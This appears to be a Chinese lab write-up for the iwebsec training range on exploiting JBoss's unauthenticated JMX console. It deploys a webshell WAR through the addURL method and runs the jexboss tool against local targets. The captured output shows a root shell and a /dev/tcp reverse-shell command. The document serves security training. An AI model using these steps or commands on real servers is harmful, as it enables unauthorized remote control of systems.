iwebsec靶场 中间件漏洞通关笔记3-Jboss中间件漏洞

目录

Jboss漏洞

1.Jboss简介

2.未授权漏洞

第03关 Jboss中间件漏洞

1.打开靶场

2.打开Jboss环境

3.制作webshell的war包

(1)使用冰蝎的jsp webshell文件

(2)生成shell.war

4.将shell.war放到网站中

5.未授权进入到JMX管理界面

6.进入Jboss部署页面

7.部署shell.war文件

8.查看部署

9.冰蝎连接

10.jexboss脚本渗透

(1)安装jboss渗透环境

(2)渗透实战


Jboss漏洞

1.Jboss简介

JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

2.未授权漏洞

在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。

注意:Jboss的默认端口是8080,这个端口是可以配置的,在iwebsec靶场中配置为了8088,而不是8080,这一点需要了解

第03关 Jboss中间件漏洞

1.打开靶场

因为中间件涉及到靶场开启的服务端口号,故而此部分实验均使用虚拟机环境,而不是官方的在线网志,如下所示网址为

http://iwebsec.com:81/middleware/03.php

2.搭建Jboss环境

(1)复用iwebsec靶场的环境

这里提到Jboss的端口号为8088,但是iwebsec在线靶场目前无法使用,这时候可以选择使用iwebsec虚拟机环境,通过docker查看端口映射关系,完整交互如下所示

iwebsec@ubuntu:~$ docker ps
CONTAINER ID   IMAGE             COMMAND       CREATED        STATUS        PORTS                                                                                                                                                                                                NAMES
c5e73d32ca9d   iwebsec/iwebsec   "/start.sh"   15 hours ago   Up 15 hours   0.0.0.0:80->80/tcp, 0.0.0.0:3306->3306/tcp, 0.0.0.0:6379->6379/tcp, 0.0.0.0:7001->7001/tcp, 0.0.0.0:8000->8000/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:8088->8088/tcp, 22/tcp, 0.0.0.0:9000->9000/tcp   iwebsec

根据0.0.0.0:8088->8088/tcp可知iwebsec的docker容器中的8088端口映射为宿主机的8088端口,这里要注意我的docker靶场是自己再次修改过的映射,需要查看后再确认关系。

这里要强调一下,由于iwebsec的靶场渗透过程中上传war包解析有问题(不知为何网页部署war后,页面显示成功但是实际上却在容器内无法找到;但是使用jexboss可以渗透成功),故而在实际操作中,不建议直接使用iwebsec靶场的Jboss环境,而是建议使用如下通过docker自己搭建渗透环境。

(2) Docker复现Jboss漏洞

我是在Kali中复现此漏洞,首先使用docker搭建Jboss漏洞靶场,这里我也将jboss服务的8080端口映射到kali宿主机的8088端口

#搜索JBoss环境
docker search testjboss

#选择需要的环境
docker pull testjboss/jboss

#实例化testjboss/jboss镜像
docker run -d-p 8088:8080 testjboss/jboss

我的Kali机器ip地址为192.168.71.129,即Jboss的服务地址为

http://192.168.71.129:8088

 打开后Jboss靶场如下

3.制作webshell的war包

(1)使用冰蝎的jsp webshell文件

(2)生成shell.war

进入到命令行界面(冰蝎的sever路径),使用如下命令生成shell.war

jar cvf shell.war shell.jsp

执行过程如下所示,

如下所示生成了shell.war文件,这是Jboss渗透使用的webshell部署文件

4.将shell.war放到网站中

由于JBoss服务的jboss.deployment接口在进行部署时,其添加的参数必须是URL格式,故而这个shell.war文件需要部署好放到网址上,然后通过addURL防范部署到JBoss中。

于是我们将shell.jar部署到PHPStudy搭建网站的根目录下

在根目录下放置shell.war文件,如下所示

PHPStudy搭建的服务ip地址为http://192.168.71.1 于是shell.war的url地址为

http://192.168.71.1/shell.war

搭建完毕验证是否可以正常访问,如下所示搭建成功。

也可以在iwebsec靶场的docker环境中,尝试访问shell.war,如下所示没有问题

5.未授权进入到JMX管理界面

点击JMX_Console

进入到http://192.168.71.129:8088/jmx-console/icon-default.png?t=N7T8http://192.168.71.151:8088/jmx-console/发现存在未授权漏洞进入到JMX管理界面。

注意下图红框的Jboss.deployment是下一个要点击的界面,如下所示

6.进入Jboss部署页面

通过Jboss.deployment接口来进入到应用部署页面

找到JBoss 控制台 void addURL()处,准备在这里上传后缀为war的webshell,也就是我们在第3步中制作的shell.war文件,不过在jboss.deployment接口中添加的参数必须是URL格式,故而这个shell.war文件需要部署好放到网址上,然后通过addURL防范部署到JBoss中。

7.部署shell.war文件

在ParamValue中添加第四步中shell木马文件的网站URL,如下所示

http://192.168.71.1/shell.war

添加完毕后,点击Invoke

 如下所示部署成功

 返回后在如下界面中可以看到shell.war已经部署成功

 正常部署成功,Kali系统搭建的docker环境中在如下目录中会生成相应文件,如下所示渗透成功

而在iwebsec的靶场docker环境中,会在如下目录中生成相应文件(不过真实渗透中,如上步骤都正确,jboss.web.deployment也提示有shell.war,但是真实却没有找到部署成功。

/root/iwebsec/jboss-4.2.3.GA/server/default/deploy/management

8.查看部署

输入 http://JBoss服务器IP:JBoss端口号/shell/ 查看 shell.war 包成功部署,其URL地址为

http://192.168.71.129:8088/shell/shell.jsp

http://192.168.71.129:8088/shellicon-default.png?t=N7T8http://192.168.71.129:8088/shell

9.冰蝎连接

添加后效果如下

选择连接,如下所示为基本信息

 命令执行界面如下所示

文件管理如下所示

如上所示渗透成功

10.jexboss脚本渗透

(1)安装jboss渗透环境

github 如下

执行如下命令下载渗透code

#git下载jexboss
git clone https://github.com/joaomatosf/jexboss
#切换jexboss所在目录
cd jexboss/

(2)渗透实战

如果是iwebsec靶场环境

python3 jexboss.py -u http://192.168.71.129:8088/

 如果是docker搭建的jboss靶场环境

python3 jexboss.py -u http://192.168.71.151:8088/

根据提示输入yes,可知获取了webshell权限,尝试执行ls和dir命令均渗透成功,以iwebsec靶场环境为例,完整交互如下所示

d others Java Deserialization Vulnerabilities * | 
 |                                                      |
 | @author:  João Filho Matos Figueiredo                |
 | @contact: joaomatosf@gmail.com                       |
 |                                                      |
 | @update: https://github.com/joaomatosf/jexboss       |
 #______________________________________________________#

 @version: 1.2.4

 * Checking for updates in: http://joaomatosf.com/rnp/releases.txt **


 ** Checking Host: http://192.168.71.151:8088/ **

 [*] Checking jmx-console:                 
  [ VULNERABLE ]
 [*] Checking web-console:                 
  [ VULNERABLE ]
 [*] Checking JMXInvokerServlet:           
  [ VULNERABLE ]
 [*] Checking admin-console:               
  [ OK ]
 [*] Checking Application Deserialization: 
  [ OK ]
 [*] Checking Servlet Deserialization:     
  [ OK ]
 [*] Checking Jenkins:                     
  [ OK ]
 [*] Checking Struts2:                     
  [ OK ]


 * Do you want to try to run an automated exploitation via "jmx-console" ?
   If successful, this operation will provide a simple command shell to execute 
   commands on the server..
   Continue only if you have permission!
   yes/NO? yes

 * Sending exploit code to http://192.168.71.151:8088/. Please wait...

[[ * Successfully deployed code! Starting command shell. Please wait...

# ----------------------------------------- # LOL # ----------------------------------------- #

 * http://192.168.71.151:8088/: 

# ----------------------------------------- #

 * For a Reverse Shell (like meterpreter =]), type the command: 

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

   Or use other techniques of your choice, like:
     Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1
   
   And so on... =]
                                                                                                                                                                                                                                           
# ----------------------------------------- #

  Linux c5e73d32ca9d 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
'  CentOS release 6.8 (Final)
Kernel \\r on an \\m

'  Failed to check for updates
uid=0(root) gid=0(root) groups=0(root)
'
[Type commands or "exit" to finish]
Shell> ls
 bin
boot
check_Tue-Nov-29-04h.log
check_Tue-Nov-29-05h.log
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
php-build
proc
repo
root
sbin
selinux
srv
start.sh
sys
tmp
usr
var
'
[Type commands or "exit" to finish]
Shell> dir
 bin\t\t\t  dev\tlib64\t    opt        root\tstart.sh  var
boot\t\t\t  etc\tlost+found  php-build  sbin\tsys
check_Tue-Nov-29-04h.log  home\tmedia\t    proc       selinux\ttmp
check_Tue-Nov-29-05h.log  lib\tmnt\t    repo       srv\tusr
'
[Type commands or "exit" to finish]
Shell> 

根据如上内容,找到三处有漏洞的地方,具体交互如下

 [*] Checking jmx-console:                 
  [ VULNERABLE ]
 [*] Checking web-console:                 
  [ VULNERABLE ]
 [*] Checking JMXInvokerServlet:           
  [ VULNERABLE ]

  • 28
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值